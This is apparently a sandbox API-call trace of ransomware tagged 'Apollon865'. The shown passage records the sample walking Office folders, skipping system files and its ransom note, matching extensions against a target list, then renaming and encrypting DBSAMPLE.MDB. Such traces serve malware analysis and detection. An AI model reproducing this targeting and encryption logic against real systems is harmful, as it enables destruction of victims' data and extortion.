	[0072.563] lstrlenW (lpString="vis") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="vis") returned 1
	[0072.563] lstrlenW (lpString="vpd") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="vpd") returned 1
	[0072.563] lstrlenW (lpString="vvv") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="vvv") returned -1
	[0072.563] lstrlenW (lpString="wdb") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="wdb") returned -1
	[0072.563] lstrlenW (lpString="wmdb") returned 4
	[0072.563] lstrcmpiW (lpString1=".VSL", lpString2="wmdb") returned -1
	[0072.563] lstrlenW (lpString="wrk") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="wrk") returned -1
	[0072.563] lstrlenW (lpString="xdb") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="xdb") returned -1
	[0072.563] lstrlenW (lpString="xld") returned 3
	[0072.563] lstrcmpiW (lpString1="VSL", lpString2="xld") returned -1
	[0072.563] lstrlenW (lpString="xmlff") returned 5
	[0072.563] lstrcmpiW (lpString1="R.VSL", lpString2="xmlff") returned -1
	[0072.563] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="Apollon865.txt.exe") returned 1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".") returned 1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="..") returned 1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="windows") returned -1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="bootmgr") returned 1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="temp") returned -1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="pagefile.sys") returned -1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="boot") returned 1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="ids.txt") returned -1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="ntuser.dat") returned -1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="perflogs") returned -1
	[0072.563] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2="MSBuild") returned -1
	[0072.563] lstrlenW (lpString="DBSAMPLE.MDB") returned 12
	[0072.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0072.564] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DBSAMPLE.MDB" | out: lpString1="DBSAMPLE.MDB") returned="DBSAMPLE.MDB"
	[0072.564] lstrlenW (lpString="DBSAMPLE.MDB") returned 12
	[0072.564] lstrlenW (lpString="Apollon865") returned 10
	[0072.564] lstrcmpiW (lpString1="SAMPLE.MDB", lpString2="Apollon865") returned 1
	[0072.564] lstrlenW (lpString=".dll") returned 4
	[0072.564] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".dll") returned 1
	[0072.564] lstrlenW (lpString=".lnk") returned 4
	[0072.564] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".lnk") returned 1
	[0072.564] lstrlenW (lpString=".ini") returned 4
	[0072.564] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".ini") returned 1
	[0072.564] lstrlenW (lpString=".sys") returned 4
	[0072.564] lstrcmpiW (lpString1="DBSAMPLE.MDB", lpString2=".sys") returned 1
	[0072.564] lstrlenW (lpString="DBSAMPLE.MDB") returned 12
	[0072.564] lstrlenW (lpString="bak") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="bak") returned 1
	[0072.564] lstrlenW (lpString="ba_") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="ba_") returned 1
	[0072.564] lstrlenW (lpString="dbb") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="dbb") returned 1
	[0072.564] lstrlenW (lpString="vmdk") returned 4
	[0072.564] lstrcmpiW (lpString1=".MDB", lpString2="vmdk") returned -1
	[0072.564] lstrlenW (lpString="rar") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="rar") returned -1
	[0072.564] lstrlenW (lpString="zip") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="zip") returned -1
	[0072.564] lstrlenW (lpString="tgz") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="tgz") returned -1
	[0072.564] lstrlenW (lpString="vbox") returned 4
	[0072.564] lstrcmpiW (lpString1=".MDB", lpString2="vbox") returned -1
	[0072.564] lstrlenW (lpString="vdi") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="vdi") returned -1
	[0072.564] lstrlenW (lpString="vhd") returned 3
	[0072.564] lstrcmpiW (lpString1="MDB", lpString2="vhd") returned -1
	[0072.564] lstrlenW (lpString="vhdx") returned 4
	[0072.564] lstrcmpiW (lpString1=".MDB", lpString2="vhdx") returned -1
	[0072.564] lstrlenW (lpString="avhd") returned 4
	[0072.564] lstrcmpiW (lpString1=".MDB", lpString2="avhd") returned -1
	[0072.564] lstrlenW (lpString="db") returned 2
	[0072.565] lstrcmpiW (lpString1="DB", lpString2="db") returned 0
	[0072.565] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.Apollon865") returned 71
	[0072.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.apollon865"), dwFlags=0x1) returned 1
	[0072.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0072.567] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=483328) returned 1
	[0072.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0072.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0072.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0072.567] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0072.568] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0072.568] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0072.568] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x76300, lpName=0x0) returned 0x118
	[0072.570] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x76300) returned 0x210000
	[0072.595] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0072.595] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0072.595] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0072.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0072.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0072.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0072.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0072.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.596] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0072.600] CloseHandle (hObject=0x118) returned 1
	[0072.600] CloseHandle (hObject=0xd8) returned 1
	[0072.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0072.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0072.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0072.603] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="Apollon865.txt.exe") returned 1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".") returned 1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="..") returned 1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="windows") returned -1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="bootmgr") returned 1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="temp") returned -1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="pagefile.sys") returned -1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="boot") returned 1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="ids.txt") returned -1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="ntuser.dat") returned -1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="perflogs") returned -1
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2="MSBuild") returned -1
	[0072.603] lstrlenW (lpString="DBWIZ.VSL") returned 9
	[0072.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB") returned 60
	[0072.603] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DBWIZ.VSL" | out: lpString1="DBWIZ.VSL") returned="DBWIZ.VSL"
	[0072.603] lstrlenW (lpString="DBWIZ.VSL") returned 9
	[0072.603] lstrlenW (lpString="Apollon865") returned 10
	[0072.603] lstrlenW (lpString=".dll") returned 4
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".dll") returned 1
	[0072.603] lstrlenW (lpString=".lnk") returned 4
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".lnk") returned 1
	[0072.603] lstrlenW (lpString=".ini") returned 4
	[0072.603] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".ini") returned 1
	[0072.603] lstrlenW (lpString=".sys") returned 4
	[0072.604] lstrcmpiW (lpString1="DBWIZ.VSL", lpString2=".sys") returned 1
	[0072.604] lstrlenW (lpString="DBWIZ.VSL") returned 9
	[0072.604] lstrlenW (lpString="bak") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1
	[0072.604] lstrlenW (lpString="ba_") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1
	[0072.604] lstrlenW (lpString="dbb") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1
	[0072.604] lstrlenW (lpString="vmdk") returned 4
	[0072.604] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1
	[0072.604] lstrlenW (lpString="rar") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1
	[0072.604] lstrlenW (lpString="zip") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1
	[0072.604] lstrlenW (lpString="tgz") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1
	[0072.604] lstrlenW (lpString="vbox") returned 4
	[0072.604] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1
	[0072.604] lstrlenW (lpString="vdi") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1
	[0072.604] lstrlenW (lpString="vhd") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1
	[0072.604] lstrlenW (lpString="vhdx") returned 4
	[0072.604] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1
	[0072.604] lstrlenW (lpString="avhd") returned 4
	[0072.604] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1
	[0072.604] lstrlenW (lpString="db") returned 2
	[0072.604] lstrcmpiW (lpString1="SL", lpString2="db") returned 1
	[0072.604] lstrlenW (lpString="db2") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1
	[0072.604] lstrlenW (lpString="db3") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1
	[0072.604] lstrlenW (lpString="dbf") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1
	[0072.604] lstrlenW (lpString="mdf") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1
	[0072.604] lstrlenW (lpString="mdb") returned 3
	[0072.604] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1
	[0072.604] lstrlenW (lpString="sql") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1
	[0072.605] lstrlenW (lpString="sqlite") returned 6
	[0072.605] lstrcmpiW (lpString1="IZ.VSL", lpString2="sqlite") returned -1
	[0072.605] lstrlenW (lpString="sqlite3") returned 7
	[0072.605] lstrcmpiW (lpString1="WIZ.VSL", lpString2="sqlite3") returned 1
	[0072.605] lstrlenW (lpString="sqlitedb") returned 8
	[0072.605] lstrcmpiW (lpString1="BWIZ.VSL", lpString2="sqlitedb") returned -1
	[0072.605] lstrlenW (lpString="xml") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1
	[0072.605] lstrlenW (lpString="$er") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1
	[0072.605] lstrlenW (lpString="4dd") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1
	[0072.605] lstrlenW (lpString="4dl") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1
	[0072.605] lstrlenW (lpString="^^^") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1
	[0072.605] lstrlenW (lpString="abs") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1
	[0072.605] lstrlenW (lpString="abx") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1
	[0072.605] lstrlenW (lpString="accdb") returned 5
	[0072.605] lstrcmpiW (lpString1="Z.VSL", lpString2="accdb") returned 1
	[0072.605] lstrlenW (lpString="accdc") returned 5
	[0072.605] lstrcmpiW (lpString1="Z.VSL", lpString2="accdc") returned 1
	[0072.605] lstrlenW (lpString="accde") returned 5
	[0072.605] lstrcmpiW (lpString1="Z.VSL", lpString2="accde") returned 1
	[0072.605] lstrlenW (lpString="accdr") returned 5
	[0072.605] lstrcmpiW (lpString1="Z.VSL", lpString2="accdr") returned 1
	[0072.605] lstrlenW (lpString="accdt") returned 5
	[0072.605] lstrcmpiW (lpString1="Z.VSL", lpString2="accdt") returned 1
	[0072.605] lstrlenW (lpString="accdw") returned 5
	[0072.605] lstrcmpiW (lpString1="Z.VSL", lpString2="accdw") returned 1
	[0072.605] lstrlenW (lpString="accft") returned 5
	[0072.605] lstrcmpiW (lpString1="Z.VSL", lpString2="accft") returned 1
	[0072.605] lstrlenW (lpString="adb") returned 3
	[0072.605] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1
	[0072.605] lstrlenW (lpString="adb") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1
	[0072.606] lstrlenW (lpString="ade") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1
	[0072.606] lstrlenW (lpString="adf") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1
	[0072.606] lstrlenW (lpString="adn") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1
	[0072.606] lstrlenW (lpString="adp") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1
	[0072.606] lstrlenW (lpString="alf") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1
	[0072.606] lstrlenW (lpString="ask") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1
	[0072.606] lstrlenW (lpString="btr") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1
	[0072.606] lstrlenW (lpString="cat") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1
	[0072.606] lstrlenW (lpString="cdb") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1
	[0072.606] lstrlenW (lpString="ckp") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1
	[0072.606] lstrlenW (lpString="cma") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1
	[0072.606] lstrlenW (lpString="cpd") returned 3
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1
	[0072.606] lstrcmpiW (lpString1="IZ.VSL", lpString2="dacpac") returned 1
	[0072.606] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1
	[0072.606] lstrcmpiW (lpString1="BWIZ.VSL", lpString2="daschema") returned -1
	[0072.607] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DEFAULT.CSS" | out: lpString1="DEFAULT.CSS") returned="DEFAULT.CSS"
	[0072.607] lstrlenW (lpString="DEFAULT.CSS") returned 11
	[0072.607] lstrlenW (lpString="Apollon865") returned 10
	[0072.607] lstrcmpiW (lpString1="EFAULT.CSS", lpString2="Apollon865") returned 1
	[0072.607] lstrlenW (lpString=".dll") returned 4
	[0072.607] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".dll") returned 1
	[0072.607] lstrlenW (lpString=".lnk") returned 4
	[0072.607] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".lnk") returned 1
	[0072.607] lstrlenW (lpString=".ini") returned 4
	[0072.607] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".ini") returned 1
	[0072.607] lstrlenW (lpString=".sys") returned 4
	[0072.607] lstrcmpiW (lpString1="DEFAULT.CSS", lpString2=".sys") returned 1
	[0072.607] lstrlenW (lpString="DEFAULT.CSS") returned 11
	[0072.607] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Discussion.gta" | out: lpString1="Discussion.gta") returned="Discussion.gta"
	[0072.607] lstrlenW (lpString="Discussion.gta") returned 14
	[0072.607] lstrlenW (lpString="Apollon865") returned 10
	[0072.607] lstrcmpiW (lpString1="ussion.gta", lpString2="Apollon865") returned 1
	[0072.607] lstrlenW (lpString=".dll") returned 4
	[0072.607] lstrcmpiW (lpString1="Discussion.gta", lpString2=".dll") returned 1
	[0072.607] lstrlenW (lpString=".lnk") returned 4
	[0072.607] lstrcmpiW (lpString1="Discussion.gta", lpString2=".lnk") returned 1
	[0072.607] lstrlenW (lpString=".ini") returned 4
	[0072.607] lstrcmpiW (lpString1="Discussion.gta", lpString2=".ini") returned 1
	[0072.607] lstrlenW (lpString=".sys") returned 4
	[0072.607] lstrcmpiW (lpString1="Discussion.gta", lpString2=".sys") returned 1
	[0072.607] lstrlenW (lpString="Discussion.gta") returned 14
	[0072.607] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Discussion14.gta" | out: lpString1="Discussion14.gta") returned="Discussion14.gta"
	[0072.607] lstrlenW (lpString="Discussion14.gta") returned 16
	[0072.607] lstrlenW (lpString="Apollon865") returned 10
	[0072.607] lstrcmpiW (lpString1="sion14.gta", lpString2="Apollon865") returned 1
	[0072.608] lstrlenW (lpString=".dll") returned 4
	[0072.608] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".dll") returned 1
	[0072.608] lstrlenW (lpString=".lnk") returned 4
	[0072.608] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".lnk") returned 1
	[0072.608] lstrlenW (lpString=".ini") returned 4
	[0072.608] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".ini") returned 1
	[0072.608] lstrlenW (lpString=".sys") returned 4
	[0072.608] lstrcmpiW (lpString1="Discussion14.gta", lpString2=".sys") returned 1
	[0072.608] lstrlenW (lpString="Discussion14.gta") returned 16
	[0072.608] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DL_RES.DLL" | out: lpString1="DL_RES.DLL") returned="DL_RES.DLL"
	[0072.608] lstrlenW (lpString="DL_RES.DLL") returned 10
	[0072.608] lstrlenW (lpString="Apollon865") returned 10
	[0072.608] lstrlenW (lpString=".dll") returned 4
	[0072.608] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".dll") returned 1
	[0072.608] lstrlenW (lpString=".lnk") returned 4
	[0072.608] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".lnk") returned 1
	[0072.608] lstrlenW (lpString=".ini") returned 4
	[0072.608] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".ini") returned 1
	[0072.608] lstrlenW (lpString=".sys") returned 4
	[0072.608] lstrcmpiW (lpString1="DL_RES.DLL", lpString2=".sys") returned 1
	[0072.608] lstrlenW (lpString="DL_RES.DLL") returned 10
	[0072.611] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DOORSCHD.VRD" | out: lpString1="DOORSCHD.VRD") returned="DOORSCHD.VRD"
	[0072.611] lstrlenW (lpString="DOORSCHD.VRD") returned 12
	[0072.611] lstrlenW (lpString="Apollon865") returned 10
	[0072.611] lstrcmpiW (lpString1="ORSCHD.VRD", lpString2="Apollon865") returned 1
	[0072.611] lstrlenW (lpString=".dll") returned 4
	[0072.611] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".dll") returned 1
	[0072.611] lstrlenW (lpString=".lnk") returned 4
	[0072.611] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".lnk") returned 1
	[0072.611] lstrlenW (lpString=".ini") returned 4
	[0072.611] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".ini") returned 1
	[0072.611] lstrlenW (lpString=".sys") returned 4
	[0072.611] lstrcmpiW (lpString1="DOORSCHD.VRD", lpString2=".sys") returned 1
	[0072.611] lstrlenW (lpString="DOORSCHD.VRD") returned 12
	[0072.611] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DRILLDWN.VSL" | out: lpString1="DRILLDWN.VSL") returned="DRILLDWN.VSL"
	[0072.611] lstrlenW (lpString="DRILLDWN.VSL") returned 12
	[0072.611] lstrlenW (lpString="Apollon865") returned 10
	[0072.611] lstrcmpiW (lpString1="ILLDWN.VSL", lpString2="Apollon865") returned 1
	[0072.611] lstrlenW (lpString=".dll") returned 4
	[0072.612] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".dll") returned 1
	[0072.612] lstrlenW (lpString=".lnk") returned 4
	[0072.612] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".lnk") returned 1
	[0072.612] lstrlenW (lpString=".ini") returned 4
	[0072.612] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".ini") returned 1
	[0072.612] lstrlenW (lpString=".sys") returned 4
	[0072.612] lstrcmpiW (lpString1="DRILLDWN.VSL", lpString2=".sys") returned 1
	[0072.612] lstrlenW (lpString="DRILLDWN.VSL") returned 12
	[0072.612] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DWGCNV.VSL" | out: lpString1="DWGCNV.VSL") returned="DWGCNV.VSL"
	[0072.612] lstrlenW (lpString="DWGCNV.VSL") returned 10
	[0072.612] lstrlenW (lpString="Apollon865") returned 10
	[0072.612] lstrlenW (lpString=".dll") returned 4
	[0072.613] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".dll") returned 1
	[0072.613] lstrlenW (lpString=".lnk") returned 4
	[0072.613] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".lnk") returned 1
	[0072.613] lstrlenW (lpString=".ini") returned 4
	[0072.613] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".ini") returned 1
	[0072.613] lstrlenW (lpString=".sys") returned 4
	[0072.613] lstrcmpiW (lpString1="DWGCNV.VSL", lpString2=".sys") returned 1
	[0072.613] lstrlenW (lpString="DWGCNV.VSL") returned 10
	[0072.614] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="DWGDPRES.DLL" | out: lpString1="DWGDPRES.DLL") returned="DWGDPRES.DLL"
	[0072.614] lstrlenW (lpString="DWGDPRES.DLL") returned 12
	[0072.614] lstrlenW (lpString="Apollon865") returned 10
	[0072.614] lstrcmpiW (lpString1="GDPRES.DLL", lpString2="Apollon865") returned 1
	[0072.614] lstrlenW (lpString=".dll") returned 4
	[0072.614] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".dll") returned 1
	[0072.614] lstrlenW (lpString=".lnk") returned 4
	[0072.614] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".lnk") returned 1
	[0072.614] lstrlenW (lpString=".ini") returned 4
	[0072.614] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".ini") returned 1
	[0072.614] lstrlenW (lpString=".sys") returned 4
	[0072.614] lstrcmpiW (lpString1="DWGDPRES.DLL", lpString2=".sys") returned 1
	[0072.614] lstrlenW (lpString="DWGDPRES.DLL") returned 12
	[0072.614] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EADOCUMENTAPPROVAL_INIT.XSN" | out: lpString1="EADOCUMENTAPPROVAL_INIT.XSN") returned="EADOCUMENTAPPROVAL_INIT.XSN"
	[0072.614] lstrlenW (lpString="EADOCUMENTAPPROVAL_INIT.XSN") returned 27
	[0072.614] lstrlenW (lpString="Apollon865") returned 10
	[0072.615] lstrcmpiW (lpString1="L_INIT.XSN", lpString2="Apollon865") returned 1
	[0072.615] lstrlenW (lpString=".dll") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".dll") returned 1
	[0072.615] lstrlenW (lpString=".lnk") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".lnk") returned 1
	[0072.615] lstrlenW (lpString=".ini") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".ini") returned 1
	[0072.615] lstrlenW (lpString=".sys") returned 4
	[0072.615] lstrcmpiW (lpString1="EADOCUMENTAPPROVAL_INIT.XSN", lpString2=".sys") returned 1
	[0072.615] lstrlenW (lpString="EADOCUMENTAPPROVAL_INIT.XSN") returned 27
